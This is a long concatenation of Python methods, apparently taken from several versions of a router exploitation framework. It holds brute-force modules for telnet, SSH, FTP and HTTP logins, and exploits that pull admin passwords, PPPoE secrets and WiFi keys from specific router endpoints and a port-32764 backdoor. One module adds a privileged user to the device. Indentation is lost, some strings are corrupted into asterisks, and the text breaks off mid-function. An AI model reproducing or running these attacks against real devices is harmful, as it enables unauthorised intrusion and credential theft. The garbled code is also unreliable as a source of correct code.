def attack(self):
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(self.target, self.port))
return
if self.usernames.startswith("file://"):
usernames = open(self.usernames[7:], "r")
else:
usernames = [self.usernames]
if self.passwords.startswith("file://"):
passwords = open(self.passwords[7:], "r")
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
response = http_request(method="GET", url=url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
self.credentials = []
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(
self.target, self.port))
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def ftp_get_config(self):
print_status("FTP {}:{} Trying FTP authentication with Username: {} and Password: {}".format(self.target,
self.ftp_port,
self.remote_user,
self.remote_pass))
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.ftp_port), timeout=10)
ftp.login(self.remote_user, self.remote_pass)
print_success("FTP {}:{} Authentication successful".format(self.target, self.ftp_port))
if self.config_path in ftp.nlst():
print_status("FTP {}:{} Downloading: {}".format(self.target, self.ftp_port, self.config_path))
r = StringIO()
ftp.retrbinary('RETR {}'.format(self.config_path), r.write)
ftp.close()
data = r.getvalue()
creds = re.findall(r'add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n', data)
if creds:
print_success("Found encrypted credentials:")
print_table(('Name', 'Password', 'Role', 'Hash2', 'Crypt'), *creds)
return creds
else:
print_error("Exploit failed - could not find any credentials")
except ftplib.all_errors:
print_error("Exploit failed - FTP error")
return None
def run(self):
url = sanitize_url("{}:{}/hidden_info.html".format(
self.target, self.port))
response = http_request(method="GET", url=url)
if response is None:
return
creds = []
data = [
'2.4G SSID', '2.4G PassPhrase', '5G SSID', '5G PassPhrase',
'PIN Code'
]
for d in data:
regexp = "<td nowrap><B>{}:</B></td>\r\n\t\t\t<td>(.+?)</td>".format(
d)
val = re.findall(regexp, response.text)
if len(val):
creds.append((d, val[0]))
if len(creds):
print_success("Credentials found!")
headers = ("Option", "Value")
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def run(self):
url = sanitize_url("{}:{}/SaveCfgFile.cgi".format(self.target, self.port))
try:
r = requests.get(url, verify=False)
res = r.text
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
var = ['pppoe_username',
'pppoe_password',
'wl0_pskkey',
'wl0_key1',
'mradius_password',
'mradius_secret',
'httpd_password',
'http_passwd',
'pppoe_passwd']
data = []
for v in var:
regexp = '{}="(.+?)"'.format(v)
val = re.findall(regexp, res)
if len(val):
data.append((v, val[0]))
if len(data):
print_success("Exploit success")
headers = ("Option", "Value")
print_table(headers, *data)
else:
print_error("Exploit failed")
def run(self):
# address and parameters
url = sanitize_url("{}:{}/getcfg.php".format(self.target, self.port))
data = {"SERVICES": "DEVICE.ACCOUNT"}
# connection
try:
r = requests.post(url, data=data)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# extracting credentials
regular = "<name>(.+?)</name><usrid>(|.+?)</usrid><password>(|.+?)</password>"
creds = re.findall(regular, re.sub('\s+', '', res))
# displaying results
if len(creds):
print_success("Credentials found!")
headers = ('Username', 'Password')
creds = tuple(tuple([item[0], item[2]]) for item in creds)
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def run(self):
if self.check():
print_success("Target is vulnerable")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((self.target, 32764))
conf = self.execute(s, 1)
lines = re.split("\x00|\x01", conf)
pattern = re.compile('user(name)?|password|login')
credentials = []
for line in lines:
try:
(var, value) = line.split("=")
if len(value) > 0 and pattern.search(var):
credentials.append((var, value))
except ValueError:
pass
if len(credentials):
print_table(("Parameter", "Value"), *credentials)
else:
print_error("Target is not vulnerable")
def run(self):
creds = []
url = "{}:{}/backupsettings.conf".format(self.target, self.port)
response = http_request(method="GET",
url=url,
auth=(self.def_user, self.def_pass))
if response is None:
print_error("Exploit failed")
return
res = re.findall('<AdminPassword>(.+?)</AdminPassword>', response.text)
if len(res):
print_success("Found strings: {}".format(res[0]))
try:
print_status("Trying to base64 decode")
password = base64.b64decode(res[0])
except:
print_error("Exploit failed - could not decode password")
return
creds.append(("admin", password))
print_success("Credentials found!")
print_table(("Login", "Password"), *creds)
else:
print_error("Credentials could not be found")
def attack(self):
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(self.target, self.port))
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = "{}:{}{}".format(self.target, self.port, self.path)
response = http_request(method="GET", url=url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = itertools.product(usernames, passwords)
with threads.ThreadPoolExecutor(self.threads) as executor:
for record in collection:
executor.submit(self.target_function, url, record)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
self.credentials = []
ssh = paramiko.SSHClient()
try:
ssh.connect(self.target, port=self.port)
except socket.error:
print_error("Connection error: %s:%s" %
(self.target, str(self.port)))
ssh.close()
return
except:
pass
ssh.close()
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
ssh = paramiko.SSHClient()
try:
ssh.connect(self.target, port=self.port)
except socket.error:
print_error("Connection error: %s:%s" %
(self.target, str(self.port)))
ssh.close()
return
except Exception:
pass
ssh.close()
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = "{}:{}{}".format(self.target, self.port, self.path)
response = http_request(method="GET", url=url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = itertools.product(usernames, passwords)
with threads.ThreadPoolExecutor(self.threads) as executor:
for record in collection:
executor.submit(self.target_function, url, record)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = "{}:{}{}".format(self.target, self.port, self.path)
response = http_request("GET", url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Digest Auth")
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
with ThreadPoolExecutor(self.threads) as executor:
for record in defaults:
username, password = record.split(':')
executor.submit(self.target_function, url, username, password)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
defaults.close()
def run(self):
self.credentials = []
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
try:
r = requests.get(url, verify=False)
except (requests.exceptions.MissingSchema,
requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
if r.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
response = http_request(method="GET", url=url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
url = sanitize_url("{}:{}/hidden_info.html".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
creds = []
data = ['2.4G SSID', '2.4G PassPhrase', '5G SSID', '5G PassPhrase', 'PIN Code']
for d in data:
regexp = "<td nowrap><B>{}:</B></td>\r\n\t\t\t<td>(.+?)</td>".format(d)
val = re.findall(regexp, res)
if len(val):
creds.append((d, val[0]))
if len(creds):
print_success("Credentials found!")
headers = ("Option", "Value")
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def run(self):
self.credentials = []
try:
tn = telnetlib.Telnet(self.target, self.port)
tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(self.target, self.port))
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
self.credentials = []
print_status("Running module...")
ssh = paramiko.SSHClient()
try:
ssh.connect(self.target, port=self.port)
except socket.error:
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ssh.close()
return
except:
pass
ssh.close()
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
url = sanitize_url("{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port))
print_status("Running module...")
try:
r = requests.get(url)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
try:
data = json.loads(res)
print_status("Decoding JSON value")
except ValueError:
print_error("Response is not valid JSON")
return
if len(data):
print_success("Exploit success")
rows = []
for key in data.keys():
if len(data[key]) > 0:
rows.append((key, data[key]))
headers = ("Parameter", "Value")
print_table(headers, *rows)
def run(self):
print_status("Running module...")
self.credentials = []
url = sanitize_url("{}:{}".format(self.target, self.port))
try:
r = requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
if r.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
creds = []
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
# print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
return
admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if admin:
creds.append(('admin', admin[0]))
support = re.findall("pwdSupport = '(.+?)'", response.text)
if support:
creds.append(('support', support[0]))
user = re.findall("pwdUser = '******'", response.text)
if user:
creds.append(('user', user[0]))
if creds:
print_success("Credentials found!")
print_table(("Login", "Password"), *creds)
else:
print_error("Credentials could not be found")
def run(self):
url = "{}:{}/SaveCfgFile.cgi".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return
var = ['pppoe_username',
'pppoe_password',
'wl0_pskkey',
'wl0_key1',
'mradius_password',
'mradius_secret',
'httpd_password',
'http_passwd',
'pppoe_passwd']
data = []
for v in var:
regexp = '{}="(.+?)"'.format(v)
val = re.findall(regexp, response.text)
if len(val):
data.append((v, val[0]))
if len(data):
print_success("Exploit success")
headers = ("Option", "Value")
print_table(headers, *data)
else:
print_error("Exploit failed")
def run(self):
if self.check():
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
return
regexps = [("admin", "pwdAdmin = '(.+?)'"),
("support", "pwdSupport = '(.+?)'"),
("user", "pwdUser = '******'")]
creds = []
for regexp in regexps:
res = re.findall(regexp[1], response.text)
if len(res):
creds.append((regexp[0], b64decode(res[0])))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
else:
print_error("Credentials could not be found")
else:
print_error("Device seems to be not vulnerable")
def run(self):
creds = []
url = "{}:{}/password.cgi".format(self.target, self.port)
print_status("Requesting {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
print_error("Exploit failed - empty response")
return
tokens = [
("admin", r"pwdAdmin = '(.+?)'"),
("support", r"pwdSupport = '(.+?)'"),
("user", r"pwdUser = '******'")
]
print_status("Trying to extract credentials")
for token in tokenize(tokens, response.text):
creds.append((token.typ, token.value[-1]))
if creds:
print_success("Credentials found")
print_table(("Login", "Password"), *creds)
else:
print_error("Exploit failed - credentials could not be found")
def attack(self):
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
except (socket.error, socket.timeout):
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close()
return
except:
pass
ftp.close()
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
creds = []
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
# print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
return
admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if admin:
creds.append(('admin', admin[0]))
support = re.findall("pwdSupport = '(.+?)'", response.text)
if support:
creds.append(('support', support[0]))
user = re.findall("pwdUser = '******'", response.text)
if user:
creds.append(('user', user[0]))
if creds:
print_success("Credentials found!")
print_table(("Login", "Password"), *creds)
else:
print_error("Credentials could not be found")
def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
response = http_request("GET", url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
defaults.close()
def run(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
return
creds = []
admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if len(admin):
creds.append(('Admin', b64decode(admin[0])))
support = re.findall("pwdSupport = '(.+?)'", response.text)
if len(support):
creds.append(('Support', b64decode(support[0])))
user = re.findall("pwdUser = '******'", response.text)
if len(user):
creds.append(('User', b64decode(user[0])))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
else:
print_error("Credentials could not be found")
def run(self):
creds = []
url = "{}:{}/backupsettings.conf".format(self.target, self.port)
response = http_request(method="GET", url=url, auth=(self.def_user, self.def_pass))
if response is None:
print_error("Exploit failed")
return
res = re.findall('<AdminPassword>(.+?)</AdminPassword>', response.text)
if len(res):
print_success("Found strings: {}".format(res[0]))
try:
print_status("Trying to base64 decode")
password = base64.b64decode(res[0])
except Exception:
print_error("Exploit failed - could not decode password")
return
creds.append(("admin", password))
print_success("Credentials found!")
print_table(("Login", "Password"), *creds)
else:
print_error("Credentials could not be found")
def attack(self):
ssh = paramiko.SSHClient()
try:
ssh.connect(self.target, port=self.port)
except socket.error:
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ssh.close()
return
except:
pass
ssh.close()
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
if self.check():
print_success("Target is vulnerable")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((self.target, 32764))
conf = self.execute(s, 1)
lines = re.split("\x00|\x01", conf)
pattern = re.compile('user(name)?|password|login');
credentials = []
for line in lines:
try:
(var, value) = line.split("=")
if len(value)>0 and pattern.search(var):
credentials.append((var, value))
except ValueError:
pass
if len(credentials):
print_table(("Parameter", "Value"), *credentials)
else:
print_error("Target is not vulnerable")
def run(self):
url = sanitize_url(
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.format(self.target, self.port))
response = http_request(method="GET", url=url)
if response is None:
return
try:
print_status("Decoding JSON")
data = json.loads(response.text)
except ValueError:
print_error("Exploit failed - response is not valid JSON")
return
if len(data):
print_success("Exploit success")
rows = []
for key in data.keys():
if len(data[key]) > 0:
rows.append((key, data[key]))
headers = ("Parameter", "Value")
print_table(headers, *rows)
def run(self):
if self.check():
print_success("Target appears to be vulnerable.")
admin_id = None
admin_password = None
if self.config_content and len(self.config_content):
for line in self.config_content.split("\n"):
line = line.strip()
m_groups = re.match(r'AdminID=(.*)', line, re.I | re.M)
if m_groups:
print_success("Found Admin ID.")
admin_id = m_groups.group(1)
m_groups = re.match(r'AdminPassword=(.*)', line, re.I | re.M)
if m_groups:
print_success("Found Admin password.")
admin_password = m_groups.group(1)
break
print_table(("AdminId", "Password"), (admin_id, admin_password))
else:
print_error("Exploit failed - target seems to be not vulnerable")
def run(self):
url = "{}:{}/SaveCfgFile.cgi".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return
var = [
'pppoe_username',
'pppoe_password',
'wl0_pskkey',
'wl0_key1',
'mradius_password',
'mradius_secret',
'httpd_password',
'http_passwd',
'pppoe_passwd'
]
data = []
for v in var:
regexp = '{}="(.+?)"'.format(v)
val = re.findall(regexp, response.text)
if len(val):
data.append((v, val[0]))
if len(data):
print_success("Exploit success")
headers = ("Option", "Value")
print_table(headers, *data)
else:
print_error("Exploit failed")
def run(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
return
creds = []
admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if len(admin):
creds.append(('Admin', b64decode(admin[0])))
support = re.findall("pwdSupport = '(.+?)'", response.text)
if len(support):
creds.append(('Support', b64decode(support[0])))
user = re.findall("pwdUser = '******'", response.text)
if len(user):
creds.append(('User', b64decode(user[0])))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
else:
print_error("Credentials could not be found")
def ftp_get_config(self):
print_status("FTP {}:{} Trying FTP authentication with Username: {} and Password: {}".format(self.target,
self.ftp_port,
self.remote_user,
self.remote_pass))
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.ftp_port), timeout=10)
ftp.login(self.remote_user, self.remote_pass)
print_success("FTP {}:{} Authentication successful".format(self.target, self.ftp_port))
if self.config_path in ftp.nlst():
print_status("FTP {}:{} Downloading: {}".format(self.target, self.ftp_port, self.config_path))
r = StringIO()
ftp.retrbinary('RETR {}'.format(self.config_path), r.write)
ftp.close()
data = r.getvalue()
creds = re.findall(r'add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n', data)
if creds:
print_success("Found encrypted credentials:")
print_table(('Name', 'Password', 'Role', 'Hash2', 'Crypt'), *creds)
return creds
else:
print_error("Exploit failed - could not find any credentials")
except ftplib.all_errors:
print_error("Exploit failed - FTP error")
return None
def run(self):
if self.check():
print_success("Target appears to be vulnerable.")
admin_id = None
admin_password = None
if self.config_content and len(self.config_content):
for line in self.config_content.split("\n"):
line = line.strip()
m_groups = re.match(r'AdminID=(.*)', line, re.I | re.M)
if m_groups:
print_success("Found Admin ID.")
admin_id = m_groups.group(1)
m_groups = re.match(r'AdminPassword=(.*)', line,
re.I | re.M)
if m_groups:
print_success("Found Admin password.")
admin_password = m_groups.group(1)
break
print_table(("AdminId", "Password"),
(admin_id, admin_password))
else:
print_error("Exploit failed - target seems to be not vulnerable")
def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
response = http_request("GET", url)
if response is None:
return
if response.status_code != 401:
print_status("Target is not protected by Basic Auth")
return
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
defaults.close()
def attack(self):
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
except (socket.error, socket.timeout):
print_error("Connection error: %s:%s" %
(self.target, str(self.port)))
ftp.close()
return
except:
pass
ftp.close()
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
creds = []
password = self.get_wifi_key()
if password is not None:
creds.append(("WiFi Password", password))
print_success("Target seems to be vulnerable")
print_table(("Parameter", "Value"), *creds)
else:
print_error("Target seems to be not vulnerable")
def run(self):
creds = []
password = self.get_wifi_key()
if password is not None:
creds.append(("WiFi Password", password))
print_success("Target seems to be vulnerable")
print_table(("Parameter", "Value"), *creds)
else:
print_error("Target seems to be not vulnerable")
def run(self):
if self.check():
print_success("Target appears to be vulnerable")
print_status("Extracting user information...")
m_groups = self.extract_users(self.response_content)
if m_groups and m_groups.groups > 2:
print_table(("User Info", ), (m_groups.group(2), ))
else:
# Print something, in case that formats vary over models
# maybe regex will not work and we don't want to leave
# users without information
print_table(("User Info", ), (self.response_content, ))
print_status("Trying to add new user...")
url = "{}:{}/form/User_Accounts_Apply".format(
self.target, self.port)
data = {
"action": "0",
"username": self.username,
"privilege": "15",
"type": "0",
"password": self.password
}
headers = {
"Connection": "keep-alive",
"Cache-Control": "max-age=0",
"Origin": "{}:{}/".format(self.target, self.port),
"Upgrade-Insecure-Requests": "1",
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.51 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Referer":
"{}:{}/www/login.html".format(self.target, self.port),
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.8"
}
response = http_request(method="POST",
url=url,
headers=headers,
data=data)
if response is not None:
print_success(
"Exploit success - new user added: {} / {}".format(
self.username, self.password))
else:
print_error("Exploid failed - user could not be added")
else:
print_error("Exploit failed - target seems to be not vulnerable")
def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port,
self.get_form_path()))
try:
requests.get(url, verify=False)
except (requests.exceptions.MissingSchema,
requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# authentication type
if self.form == 'auto':
form_data = self.detect_form()
if form_data is None:
print_error("Could not detect form")
return
(form_action, self.data) = form_data
if form_action:
self.path = form_action
else:
self.data = self.form
print_status("Using following data: ", self.data)
# invalid authentication
self.invalid_auth()
# running threads
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def attack(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path()))
try:
requests.get(url, verify=False)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# authentication type
if self.form == 'auto':
form_data = self.detect_form()
if form_data is None:
print_error("Could not detect form")
return
(form_action, self.data) = form_data
if form_action:
self.path = form_action
else:
self.data = self.form
print_status("Using following data: ", self.data)
# invalid authentication
self.invalid_auth()
# running threads
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def run(self):
url = "{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return
creds = re.findall("\n\t\t\t(.+?):(.+?)\n\n\t\t\t", response.text)
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def parse_print(self, content):
if self.action == "user_info":
m_groups = re.match(r'(.*)UserInfo.=.([^;]*)(.*)', content, re.I | re.M)
if m_groups and m_groups.groups > 2:
print_table(("User Info", ), (m_groups.group(2), ))
else:
# Print something, in case that formats vary over models
# maybe regex will not work and we don't want to leave
# users without information
print_table(("User Info", ), (content, ))
elif self.action == "user_add":
print_success("User {} with password {} created.".format(self.username, self.password))
def run(self):
url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))
response = http_request(method="GET", url=url)
if response is None:
return
creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", response.text)
if len(creds):
